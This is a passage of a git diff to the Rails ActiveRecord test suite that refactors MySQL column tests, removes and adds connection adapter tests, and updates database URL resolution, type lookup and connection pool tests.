         def test_should_set_default_for_mysql_binary_data_types
-          binary_column = Mysql2Adapter::Column.new("title", "a", "binary(1)")
+          type = SqlTypeMetadata.new(type: :binary, sql_type: "binary(1)")
+          binary_column = AbstractMysqlAdapter::Column.new("title", "a", type)
           assert_equal "a", binary_column.default
 
-          varbinary_column = Mysql2Adapter::Column.new("title", "a", "varbinary(1)")
+          type = SqlTypeMetadata.new(type: :binary, sql_type: "varbinary")
+          varbinary_column = AbstractMysqlAdapter::Column.new("title", "a", type)
           assert_equal "a", varbinary_column.default
         end
 
         def test_should_not_set_default_for_blob_and_text_data_types
           assert_raise ArgumentError do
-            Mysql2Adapter::Column.new("title", "a", "blob")
+            AbstractMysqlAdapter::Column.new("title", "a", SqlTypeMetadata.new(sql_type: "blob"))
           end
 
+          text_type = AbstractMysqlAdapter::MysqlTypeMetadata.new(
+            SqlTypeMetadata.new(type: :text))
           assert_raise ArgumentError do
-            Mysql2Adapter::Column.new("title", "Hello", "text")
+            AbstractMysqlAdapter::Column.new("title", "Hello", text_type)
           end
 
-          text_column = Mysql2Adapter::Column.new("title", nil, "text")
+          text_column = AbstractMysqlAdapter::Column.new("title", nil, text_type)
           assert_equal nil, text_column.default
 
-          not_null_text_column = Mysql2Adapter::Column.new("title", nil, "text", false)
+          not_null_text_column = AbstractMysqlAdapter::Column.new("title", nil, text_type, false)
           assert_equal "", not_null_text_column.default
         end
 
-        def test_has_default_should_return_false_for_blog_and_test_data_types
-          blob_column = Mysql2Adapter::Column.new("title", nil, "blob")
+        def test_has_default_should_return_false_for_blob_and_text_data_types
+          binary_type = SqlTypeMetadata.new(sql_type: "blob")
+          blob_column = AbstractMysqlAdapter::Column.new("title", nil, binary_type)
           assert !blob_column.has_default?
 
-          text_column = Mysql2Adapter::Column.new("title", nil, "text")
+          text_type = SqlTypeMetadata.new(type: :text)
+          text_column = AbstractMysqlAdapter::Column.new("title", nil, text_type)
           assert !text_column.has_default?
         end
       end
-
-      if current_adapter?(:PostgreSQLAdapter)
-        def test_bigint_column_should_map_to_integer
-          oid = PostgreSQLAdapter::OID::Identity.new
-          bigint_column = PostgreSQLColumn.new('number', nil, oid, "bigint")
-          assert_equal :integer, bigint_column.type
-        end
-
-        def test_smallint_column_should_map_to_integer
-          oid = PostgreSQLAdapter::OID::Identity.new
-          smallint_column = PostgreSQLColumn.new('number', nil, oid, "smallint")
-          assert_equal :integer, smallint_column.type
-        end
-      end
     end
   end
 end
diff --git a/activerecord/test/cases/column_test.rb b/activerecord/test/cases/column_test.rb
deleted file mode 100644
index 3a4f414ae8..0000000000
--- a/activerecord/test/cases/column_test.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-require "cases/helper"
-require 'models/company'
-
-module ActiveRecord
-  module ConnectionAdapters
-    class ColumnTest < ActiveRecord::TestCase
-      def test_type_cast_boolean
-        column = Column.new("field", nil, "boolean")
-        assert column.type_cast('').nil?
-        assert column.type_cast(nil).nil?
-
-        assert column.type_cast(true)
-        assert column.type_cast(1)
-        assert column.type_cast('1')
-        assert column.type_cast('t')
-        assert column.type_cast('T')
-        assert column.type_cast('true')
-        assert column.type_cast('TRUE')
-        assert column.type_cast('on')
-        assert column.type_cast('ON')
-
-        # explicitly check for false vs nil
-        assert_equal false, column.type_cast(false)
-        assert_equal false, column.type_cast(0)
-        assert_equal false, column.type_cast('0')
-        assert_equal false, column.type_cast('f')
-        assert_equal false, column.type_cast('F')
-        assert_equal false, column.type_cast('false')
-        assert_equal false, column.type_cast('FALSE')
-        assert_equal false, column.type_cast('off')
-        assert_equal false, column.type_cast('OFF')
-        assert_equal false, column.type_cast(' ')
-        assert_equal false, column.type_cast("\u3000\r\n")
-        assert_equal false, column.type_cast("\u0000")
-        assert_equal false, column.type_cast('SOMETHING RANDOM')
-      end
-
-      def test_type_cast_integer
-        column = Column.new("field", nil, "integer")
-        assert_equal 1, column.type_cast(1)
-        assert_equal 1, column.type_cast('1')
-        assert_equal 1, column.type_cast('1ignore')
-        assert_equal 0, column.type_cast('bad1')
-        assert_equal 0, column.type_cast('bad')
-        assert_equal 1, column.type_cast(1.7)
-        assert_equal 0, column.type_cast(false)
-        assert_equal 1, column.type_cast(true)
-        assert_nil column.type_cast(nil)
-      end
-
-      def test_type_cast_non_integer_to_integer
-        column = Column.new("field", nil, "integer")
-        assert_nil column.type_cast([1,2])
-        assert_nil column.type_cast({1 => 2})
-        assert_nil column.type_cast((1..2))
-      end
-
-      def test_type_cast_activerecord_to_integer
-        column = Column.new("field", nil, "integer")
-        firm = Firm.create(:name => 'Apple')
-        assert_nil column.type_cast(firm)
-      end
-
-      def test_type_cast_object_without_to_i_to_integer
-        column = Column.new("field", nil, "integer")
-        assert_nil column.type_cast(Object.new)
-      end
-
-      def test_type_cast_nan_and_infinity_to_integer
-        column = Column.new("field", nil, "integer")
-        assert_nil column.type_cast(Float::NAN)
-        assert_nil column.type_cast(1.0/0.0)
-      end
-
-      def test_type_cast_time
-        column = Column.new("field", nil, "time")
-        assert_equal nil, column.type_cast(nil)
-        assert_equal nil, column.type_cast('')
-        assert_equal nil, column.type_cast('ABC')
-
-        time_string = Time.now.utc.strftime("%T")
-        assert_equal time_string, column.type_cast(time_string).strftime("%T")
-      end
-
-      def test_type_cast_datetime_and_timestamp
-        [Column.new("field", nil, "datetime"), Column.new("field", nil, "timestamp")].each do |column|
-          assert_equal nil, column.type_cast(nil)
-          assert_equal nil, column.type_cast('')
-          assert_equal nil, column.type_cast('  ')
-          assert_equal nil, column.type_cast('ABC')
-
-          datetime_string = Time.now.utc.strftime("%FT%T")
-          assert_equal datetime_string, column.type_cast(datetime_string).strftime("%FT%T")
-        end
-      end
-
-      def test_type_cast_date
-        column = Column.new("field", nil, "date")
-        assert_equal nil, column.type_cast(nil)
-        assert_equal nil, column.type_cast('')
-        assert_equal nil, column.type_cast(' ')
-        assert_equal nil, column.type_cast('ABC')
-
-        date_string = Time.now.utc.strftime("%F")
-        assert_equal date_string, column.type_cast(date_string).strftime("%F")
-      end
-
-      def test_type_cast_duration_to_integer
-        column = Column.new("field", nil, "integer")
-        assert_equal 1800, column.type_cast(30.minutes)
-        assert_equal 7200, column.type_cast(2.hours)
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
deleted file mode 100644
index eb2fe5639b..0000000000
--- a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  module ConnectionAdapters
-    class ConnectionPool
-      def insert_connection_for_test!(c)
-        synchronize do
-          @connections << c
-          @available.add c
-        end
-      end
-    end
-
-    class AbstractAdapterTest < ActiveRecord::TestCase
-      attr_reader :adapter
-
-      def setup
-        @adapter = AbstractAdapter.new nil, nil
-      end
-
-      def test_in_use?
-        assert_not adapter.in_use?, 'adapter is not in use'
-        assert adapter.lease, 'lease adapter'
-        assert adapter.in_use?, 'adapter is in use'
-      end
-
-      def test_lease_twice
-        assert adapter.lease, 'should lease adapter'
-        assert_not adapter.lease, 'should not lease adapter'
-      end
-
-      def test_last_use
-        assert_not adapter.last_use
-        adapter.lease
-        assert adapter.last_use
-      end
-
-      def test_expire_mutates_in_use
-        assert adapter.lease, 'lease adapter'
-        assert adapter.in_use?, 'adapter is in use'
-        adapter.expire
-        assert_not adapter.in_use?, 'adapter is in use'
-      end
-
-      def test_close
-        pool = ConnectionPool.new(ConnectionSpecification.new({}, nil))
-        pool.insert_connection_for_test! adapter
-        adapter.pool = pool
-
-        # Make sure the pool marks the connection in use
-        assert_equal adapter, pool.connection
-        assert adapter.in_use?
-
-        # Close should put the adapter back in the pool
-        adapter.close
-        assert_not adapter.in_use?
-
-        assert_equal adapter, pool.connection
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
new file mode 100644
index 0000000000..662e19f35e
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
@@ -0,0 +1,54 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class AdapterLeasingTest < ActiveRecord::TestCase
+      class Pool < ConnectionPool
+        def insert_connection_for_test!(c)
+          synchronize do
+            @connections << c
+            @available.add c
+          end
+        end
+      end
+
+      def setup
+        @adapter = AbstractAdapter.new nil, nil
+      end
+
+      def test_in_use?
+        assert_not @adapter.in_use?, 'adapter is not in use'
+        assert @adapter.lease, 'lease adapter'
+        assert @adapter.in_use?, 'adapter is in use'
+      end
+
+      def test_lease_twice
+        assert @adapter.lease, 'should lease adapter'
+        assert_not @adapter.lease, 'should not lease adapter'
+      end
+
+      def test_expire_mutates_in_use
+        assert @adapter.lease, 'lease adapter'
+        assert @adapter.in_use?, 'adapter is in use'
+        @adapter.expire
+        assert_not @adapter.in_use?, 'adapter is in use'
+      end
+
+      def test_close
+        pool = Pool.new(ConnectionSpecification.new({}, nil))
+        pool.insert_connection_for_test! @adapter
+        @adapter.pool = pool
+
+        # Make sure the pool marks the connection in use
+        assert_equal @adapter, pool.connection
+        assert @adapter.in_use?
+
+        # Close should put the adapter back in the pool
+        @adapter.close
+        assert_not @adapter.in_use?
+
+        assert_equal @adapter, pool.connection
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
index 3e33b30144..b72f8ca88c 100644
--- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -44,9 +44,7 @@ module ActiveRecord
       end
 
       def test_connection_pools
-        assert_deprecated do
-          assert_equal({ Base.connection_pool.spec => @pool }, @handler.connection_pools)
-        end
+        assert_equal([@pool], @handler.connection_pools)
       end
     end
   end
diff --git a/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
new file mode 100644
index 0000000000..9ee92a3cd2
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
@@ -0,0 +1,255 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class MergeAndResolveDefaultUrlConfigTest < ActiveRecord::TestCase
+      def setup
+        @previous_database_url = ENV.delete("DATABASE_URL")
+        @previous_rack_env = ENV.delete("RACK_ENV")
+        @previous_rails_env = ENV.delete("RAILS_ENV")
+      end
+
+      teardown do
+        ENV["DATABASE_URL"] = @previous_database_url
+        ENV["RACK_ENV"] = @previous_rack_env
+        ENV["RAILS_ENV"] = @previous_rails_env
+      end
+
+      def resolve_config(config)
+        ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+      end
+
+      def resolve_spec(spec, config)
+        ConnectionSpecification::Resolver.new(resolve_config(config)).resolve(spec)
+      end
+
+      def test_resolver_with_database_uri_and_current_env_symbol_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = resolve_spec(:default_env, config)
+        expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_current_env_symbol_key_and_rails_env
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        ENV['RAILS_ENV']    = "foo"
+
+        config   = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = resolve_spec(:foo, config)
+        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_current_env_symbol_key_and_rack_env
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        ENV['RACK_ENV']     = "foo"
+
+        config   = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = resolve_spec(:foo, config)
+        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_known_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "production" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+        actual   = resolve_spec(:production, config)
+        expected = { "adapter"=>"not_postgres", "database"=>"not_foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_unknown_symbol_key
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config   = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        assert_raises AdapterNotSpecified do
+          resolve_spec(:production, config)
+        end
+      end
+
+      def test_resolver_with_database_uri_and_supplied_url
+        ENV['DATABASE_URL'] = "not-postgres://not-localhost/not_foo"
+        config   = { "production" => {  "adapter" => "also_not_postgres", "database" => "also_not_foo" } }
+        actual   = resolve_spec("postgres://localhost/foo", config)
+        expected = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_jdbc_url
+        config   = { "production" => { "url" => "jdbc:postgres://localhost/foo" } }
+        actual   = resolve_config(config)
+        assert_equal config, actual
+      end
+
+      def test_environment_does_not_exist_in_config_url_does_exist
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+        config      = { "not_default_env" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual      = resolve_config(config)
+        expect_prod = { "adapter"=>"postgresql", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expect_prod, actual["default_env"]
+      end
+
+      def test_url_with_hyphenated_scheme
+        ENV['DATABASE_URL'] = "ibm-db://localhost/foo"
+        config   = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+        actual   = resolve_spec(:default_env, config)
+        expected = { "adapter"=>"ibm_db", "database"=>"foo", "host"=>"localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_string_connection
+        config   = { "default_env" => "postgres://localhost/foo" }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_url_sub_key
+        config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_hash
+        config = { "production" => { "adapter" => "postgres", "database" => "foo" } }
+        actual = resolve_config(config)
+        assert_equal config, actual
+      end
+
+      def test_blank
+        config = {}
+        actual = resolve_config(config)
+        assert_equal config, actual
+      end
+
+      def test_blank_with_database_url
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "localhost" }
+        assert_equal expected, actual["default_env"]
+        assert_equal nil,      actual["production"]
+        assert_equal nil,      actual["development"]
+        assert_equal nil,      actual["test"]
+        assert_equal nil,      actual[:default_env]
+        assert_equal nil,      actual[:production]
+        assert_equal nil,      actual[:development]
+        assert_equal nil,      actual[:test]
+      end
+
+      def test_blank_with_database_url_with_rails_env
+        ENV['RAILS_ENV'] = "not_production"
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "localhost" }
+
+        assert_equal expected, actual["not_production"]
+        assert_equal nil,      actual["production"]
+        assert_equal nil,      actual["default_env"]
+        assert_equal nil,      actual["development"]
+        assert_equal nil,      actual["test"]
+        assert_equal nil,      actual[:default_env]
+        assert_equal nil,      actual[:not_production]
+        assert_equal nil,      actual[:production]
+        assert_equal nil,      actual[:development]
+        assert_equal nil,      actual[:test]
+      end
+
+      def test_blank_with_database_url_with_rack_env
+        ENV['RACK_ENV'] = "not_production"
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "localhost" }
+
+        assert_equal expected, actual["not_production"]
+        assert_equal nil,      actual["production"]
+        assert_equal nil,      actual["default_env"]
+        assert_equal nil,      actual["development"]
+        assert_equal nil,      actual["test"]
+        assert_equal nil,      actual[:default_env]
+        assert_equal nil,      actual[:not_production]
+        assert_equal nil,      actual[:production]
+        assert_equal nil,      actual[:development]
+        assert_equal nil,      actual[:test]
+      end
+
+      def test_database_url_with_ipv6_host_and_port
+        ENV['DATABASE_URL'] = "postgres://[::1]:5454/foo"
+
+        config   = {}
+        actual   = resolve_config(config)
+        expected = { "adapter"  => "postgresql",
+                     "database" => "foo",
+                     "host"     => "::1",
+                     "port"     => 5454 }
+        assert_equal expected, actual["default_env"]
+      end
+
+      def test_url_sub_key_with_database_url
+        ENV['DATABASE_URL'] = "NOT-POSTGRES://localhost/NOT_FOO"
+
+        config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                    { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_merge_no_conflicts_with_database_url
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {"default_env" => { "pool" => "5" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost",
+                       "pool"     => "5"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+
+      def test_merge_conflicts_with_database_url
+        ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+        config   = {"default_env" => { "adapter" => "NOT-POSTGRES", "database" => "NOT-FOO", "pool" => "5" } }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost",
+                       "pool"     => "5"
+                      }
+                    }
+        assert_equal expected, actual
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
new file mode 100644
index 0000000000..80244d1439
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
@@ -0,0 +1,65 @@
+require "cases/helper"
+
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+module ActiveRecord
+  module ConnectionAdapters
+    class MysqlTypeLookupTest < ActiveRecord::TestCase
+      setup do
+        @connection = ActiveRecord::Base.connection
+      end
+
+      def test_boolean_types
+        emulate_booleans(true) do
+          assert_lookup_type :boolean, 'tinyint(1)'
+          assert_lookup_type :boolean, 'TINYINT(1)'
+        end
+      end
+
+      def test_string_types
+        assert_lookup_type :string, "enum('one', 'two', 'three')"
+        assert_lookup_type :string, "ENUM('one', 'two', 'three')"
+        assert_lookup_type :string, "set('one', 'two', 'three')"
+        assert_lookup_type :string, "SET('one', 'two', 'three')"
+      end
+
+      def test_enum_type_with_value_matching_other_type
+        assert_lookup_type :string, "ENUM('unicode', '8bit', 'none')"
+      end
+
+      def test_binary_types
+        assert_lookup_type :binary, 'bit'
+        assert_lookup_type :binary, 'BIT'
+      end
+
+      def test_integer_types
+        emulate_booleans(false) do
+          assert_lookup_type :integer, 'tinyint(1)'
+          assert_lookup_type :integer, 'TINYINT(1)'
+          assert_lookup_type :integer, 'year'
+          assert_lookup_type :integer, 'YEAR'
+        end
+      end
+
+      private
+
+      def assert_lookup_type(type, lookup)
+        cast_type = @connection.type_map.lookup(lookup)
+        assert_equal type, cast_type.type
+      end
+
+      def emulate_booleans(value)
+        old_emulate_booleans = @connection.emulate_booleans
+        change_emulate_booleans(value)
+        yield
+      ensure
+        change_emulate_booleans(old_emulate_booleans)
+      end
+
+      def change_emulate_booleans(value)
+        @connection.emulate_booleans = value
+        @connection.clear_cache!
+      end
+    end
+  end
+end
+end
diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
index ecad7c942f..c7531f5418 100644
--- a/activerecord/test/cases/connection_adapters/schema_cache_test.rb
+++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
@@ -45,8 +45,8 @@ module ActiveRecord
 
         @cache = Marshal.load(Marshal.dump(@cache))
 
-        assert_equal 12, @cache.columns('posts').size
-        assert_equal 12, @cache.columns_hash('posts').size
+        assert_equal 11, @cache.columns('posts').size
+        assert_equal 11, @cache.columns_hash('posts').size
         assert @cache.tables('posts')
         assert_equal 'id', @cache.primary_keys('posts')
       end
diff --git a/activerecord/test/cases/connection_adapters/type_lookup_test.rb b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
new file mode 100644
index 0000000000..ac2e0053b8
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/type_lookup_test.rb
@@ -0,0 +1,106 @@
+require "cases/helper"
+
+unless current_adapter?(:PostgreSQLAdapter) # PostgreSQL does not use type strigns for lookup
+module ActiveRecord
+  module ConnectionAdapters
+    class TypeLookupTest < ActiveRecord::TestCase
+      setup do
+        @connection = ActiveRecord::Base.connection
+      end
+
+      def test_boolean_types
+        assert_lookup_type :boolean, 'boolean'
+        assert_lookup_type :boolean, 'BOOLEAN'
+      end
+
+      def test_string_types
+        assert_lookup_type :string, 'char'
+        assert_lookup_type :string, 'varchar'
+        assert_lookup_type :string, 'VARCHAR'
+        assert_lookup_type :string, 'varchar(255)'
+        assert_lookup_type :string, 'character varying'
+      end
+
+      def test_binary_types
+        assert_lookup_type :binary, 'binary'
+        assert_lookup_type :binary, 'BINARY'
+        assert_lookup_type :binary, 'blob'
+        assert_lookup_type :binary, 'BLOB'
+      end
+
+      def test_text_types
+        assert_lookup_type :text, 'text'
+        assert_lookup_type :text, 'TEXT'
+        assert_lookup_type :text, 'clob'
+        assert_lookup_type :text, 'CLOB'
+      end
+
+      def test_date_types
+        assert_lookup_type :date, 'date'
+        assert_lookup_type :date, 'DATE'
+      end
+
+      def test_time_types
+        assert_lookup_type :time, 'time'
+        assert_lookup_type :time, 'TIME'
+      end
+
+      def test_datetime_types
+        assert_lookup_type :datetime, 'datetime'
+        assert_lookup_type :datetime, 'DATETIME'
+        assert_lookup_type :datetime, 'timestamp'
+        assert_lookup_type :datetime, 'TIMESTAMP'
+      end
+
+      def test_decimal_types
+        assert_lookup_type :decimal, 'decimal'
+        assert_lookup_type :decimal, 'decimal(2,8)'
+        assert_lookup_type :decimal, 'DECIMAL'
+        assert_lookup_type :decimal, 'numeric'
+        assert_lookup_type :decimal, 'numeric(2,8)'
+        assert_lookup_type :decimal, 'NUMERIC'
+        assert_lookup_type :decimal, 'number'
+        assert_lookup_type :decimal, 'number(2,8)'
+        assert_lookup_type :decimal, 'NUMBER'
+      end
+
+      def test_float_types
+        assert_lookup_type :float, 'float'
+        assert_lookup_type :float, 'FLOAT'
+        assert_lookup_type :float, 'double'
+        assert_lookup_type :float, 'DOUBLE'
+      end
+
+      def test_integer_types
+        assert_lookup_type :integer, 'integer'
+        assert_lookup_type :integer, 'INTEGER'
+        assert_lookup_type :integer, 'tinyint'
+        assert_lookup_type :integer, 'smallint'
+        assert_lookup_type :integer, 'bigint'
+      end
+
+      def test_bigint_limit
+        cast_type = @connection.type_map.lookup("bigint")
+        assert_equal 8, cast_type.limit
+      end
+
+      def test_decimal_without_scale
+        types = %w{decimal(2) decimal(2,0) numeric(2) numeric(2,0) number(2) number(2,0)}
+        types.each do |type|
+          cast_type = @connection.type_map.lookup(type)
+
+          assert_equal :decimal, cast_type.type
+          assert_equal 2, cast_type.type_cast_from_user(2.1)
+        end
+      end
+
+      private
+
+      def assert_lookup_type(type, lookup)
+        cast_type = @connection.type_map.lookup(lookup)
+        assert_equal type, cast_type.type
+      end
+    end
+  end
+end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
index df17732fff..f53c496ecd 100644
--- a/activerecord/test/cases/connection_management_test.rb
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -26,25 +26,27 @@ module ActiveRecord
         assert ActiveRecord::Base.connection_handler.active_connections?
       end
 
-      def test_connection_pool_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      if Process.respond_to?(:fork)
+        def test_connection_pool_per_pid
+          object_id = ActiveRecord::Base.connection.object_id
 
-        object_id = ActiveRecord::Base.connection.object_id
+          rd, wr = IO.pipe
+          rd.binmode
+          wr.binmode
 
-        rd, wr = IO.pipe
+          pid = fork {
+            rd.close
+            wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+            wr.close
+            exit!
+          }
 
-        pid = fork {
-          rd.close
-          wr.write Marshal.dump ActiveRecord::Base.connection.object_id
           wr.close
-          exit!
-        }
-
-        wr.close
 
-        Process.waitpid pid
-        assert_not_equal object_id, Marshal.load(rd.read)
-        rd.close
+          Process.waitpid pid
+          assert_not_equal object_id, Marshal.load(rd.read)
+          rd.close
+        end
       end
 
       def test_app_delegation
@@ -94,6 +96,14 @@ module ActiveRecord
         assert ActiveRecord::Base.connection_handler.active_connections?
       end
 
+      def test_connections_closed_if_exception_and_explicitly_not_test
+        @env['rack.test'] = false
+        app       = Class.new(App) { def call(env); raise NotImplementedError; end }.new
+        explosive = ConnectionManagement.new(app)
+        assert_raises(NotImplementedError) { explosive.call(@env) }
+        assert !ActiveRecord::Base.connection_handler.active_connections?
+      end
+
       test "doesn't clear active connections when running in a test case" do
         @env['rack.test'] = true
         @management.call(@env)
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index 2da51ea015..8d15a76735 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require 'active_support/concurrency/latch'
 
 module ActiveRecord
   module ConnectionAdapters
@@ -22,8 +23,7 @@ module ActiveRecord
         end
       end
 
-      def teardown
-        super
+      teardown do
         @pool.disconnect!
       end
 
@@ -89,10 +89,9 @@ module ActiveRecord
       end
 
       def test_full_pool_exception
+        @pool.size.times { @pool.checkout }
         assert_raises(ConnectionTimeoutError) do
-          (@pool.size + 1).times do
-            @pool.checkout
-          end
+          @pool.checkout
         end
       end
 
@@ -125,7 +124,6 @@ module ActiveRecord
         @pool.checkout
         @pool.checkout
         @pool.checkout
-        @pool.dead_connection_timeout = 0
 
         connections = @pool.connections.dup
 
@@ -135,21 +133,25 @@ module ActiveRecord
       end
 
       def test_reap_inactive
+        ready = ActiveSupport::Concurrency::Latch.new
         @pool.checkout
-        @pool.checkout
-        @pool.checkout
-        @pool.dead_connection_timeout = 0
-
-        connections = @pool.connections.dup
-        connections.each do |conn|
-          conn.extend(Module.new { def active?; false; end; })
+        child = Thread.new do
+          @pool.checkout
+          @pool.checkout
+          ready.release
+          Thread.stop
         end
+        ready.await
+
+        assert_equal 3, active_connections(@pool).size
 
+        child.terminate
+        child.join
         @pool.reap
 
-        assert_equal 0, @pool.connections.length
+        assert_equal 1, active_connections(@pool).size
       ensure
-        connections.each(&:close)
+        @pool.connections.each(&:close)
       end
 
       def test_remove_connection
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
index c8dfc3244b..3c2f5d4219 100644
--- a/activerecord/test/cases/connection_specification/resolver_test.rb
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -4,59 +4,112 @@ module ActiveRecord
   module ConnectionAdapters
     class ConnectionSpecification
       class ResolverTest < ActiveRecord::TestCase
-        def resolve(spec)
-          Resolver.new(spec, {}).spec.config
+        def resolve(spec, config={})
+          Resolver.new(config).resolve(spec)
+        end
+
+        def spec(spec, config={})
+          Resolver.new(config).spec(spec)
         end
 
         def test_url_invalid_adapter
-          assert_raises(LoadError) do
-            resolve 'ridiculous://foo?encoding=utf8'
+          error = assert_raises(LoadError) do
+            spec 'ridiculous://foo?encoding=utf8'
           end
+
+          assert_match "Could not load 'active_record/connection_adapters/ridiculous_adapter'", error.message
         end
 
         # The abstract adapter is used simply to bypass the bit of code that
         # checks that the adapter file can be required in.
 
+        def test_url_from_environment
+          spec = resolve :production, 'production' => 'abstract://foo?encoding=utf8'
+          assert_equal({
+            "adapter"  =>  "abstract",
+            "host"     =>  "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
+        def test_url_sub_key
+          spec = resolve :production, 'production' => {"url" => 'abstract://foo?encoding=utf8'}
+          assert_equal({
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
+        end
+
+        def test_url_sub_key_merges_correctly
+          hash = {"url" => 'abstract://foo?encoding=utf8&', "adapter" => "sqlite3", "host" => "bar", "pool" => "3"}
+          spec = resolve :production, 'production' => hash
+          assert_equal({
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8",
+            "pool"     => "3" }, spec)
+        end
+
         def test_url_host_no_db
           spec = resolve 'abstract://foo?encoding=utf8'
           assert_equal({
-            adapter:  "abstract",
-            host:     "foo",
-            encoding: "utf8" }, spec)
+            "adapter"  => "abstract",
+            "host"     => "foo",
+            "encoding" => "utf8" }, spec)
         end
 
         def test_url_host_db
           spec = resolve 'abstract://foo/bar?encoding=utf8'
           assert_equal({
-            adapter:  "abstract",
-            database: "bar",
-            host:     "foo",
-            encoding: "utf8" }, spec)
+            "adapter"  => "abstract",
+            "database" => "bar",
